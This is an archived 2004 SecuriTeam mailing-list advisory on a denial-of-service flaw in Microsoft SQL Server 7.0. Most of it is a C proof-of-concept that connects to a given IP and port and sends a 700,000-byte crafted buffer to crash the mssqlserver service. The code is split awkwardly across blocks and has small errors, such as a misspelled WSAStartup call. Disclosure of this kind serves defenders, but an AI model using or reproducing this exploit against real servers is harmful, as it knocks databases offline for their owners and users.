

# [EXPL] Microsoft SQL Server DoS

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-10/0017.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 10/04/04

To: list@securiteam.com

Date: 4 Oct 2004 14:08:22 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Microsoft SQL Server DoS

---

## SUMMARY

A vulnerability in Microsoft's SQL server allows an attacker to remotely trigger a denial of service condition by sending a large buffer with specially crafted data. The result is that the mssqlserver service is stopped.

## DETAILS

Vulnerable Systems:

- \* MSSQL Server version 7.0 with Services Packs 1 up to and including 3

By sending a large specially crafted buffer it is possible to stop the mssqlserver service. The error registered is different depending on the MSSQL Service Pack install but the result is always the same.

Proof of concept

/\* Microsoft mssql 7.0 server is vulnerable to denial of service attack

\* By sending a large buffer with specified data an attacker can stop the service

\* "mssqlserver" the error noticed is different according to services' pack but the result is always

\* the same one.

## Securiteam: [EXPL] Microsoft SQL Server DoS

```
*Exception Codes = c0000005
* vulnerable:MSSQL7.0 sp0 – sp1 – sp2 – sp3
* This code is for educational purposes, I am not responsible for your
acts
* Greetings:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */

#include <stdio.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")
u_long resolv(char*);

void main(int argc, char **argv) {
    WSADATA WinsockData;
    SOCKET s;
    int i;
    struct sockaddr_in vulh;
    char buffer[700000];
    for(i=0;i<700000;i+=16)
    memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);

    if (argc!=3) {
        printf("MSSQL denial of service\n");
        printf("by securma massine\n");
        printf("Cet outil a ete cree pour test ,je ne suis en aucun cas
responsable des degats que vous pouvez en faire\n");
        printf("Syntaxe: MSSQLdos <ip> <port>\n");
        exit(1);
    }

    WSStartup(0x101,&WinsockData);
    s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

    ZeroMemory(&vulh,sizeof(vulh));
    vulh.sin_family=AF_INET;
    vulh.sin_addr.s_addr=resolv(argv[1]);
    vulh.sin_port=htons(atoi(argv[2]));
    if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
        printf("Impossible de se connecter...le port est en generale
1433...\n");
        exit(1);
    }

    {
        send(s,buffer,sizeof(buffer),0);

        printf("Data envoyes...\n");
    }
    printf("\nattendez quelques secondes et verifiez que le serveur ne repond
plus.\n");
    closesocket(s);
}
```

## Securiteam: [EXPL] Microsoft SQL Server DoS

```
WSACleanup();
}

u_long resolv(char *host_name) {
    struct in_addr addr;
    struct hostent *host_ent;

    if ((addr.s_addr = inet_addr(host_name)) == -1) {
        if (!(host_ent = gethostbyname(host_name))) {
            printf ("Erreur DNS : Impossible de résoudre l'adresse %s
!!!\n",host_name);
            exit(1);
        }
        CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
    }
    return addr.s_addr;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:securma@caramail.com>>  
[securma@caramail.com](mailto:securma@caramail.com).

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.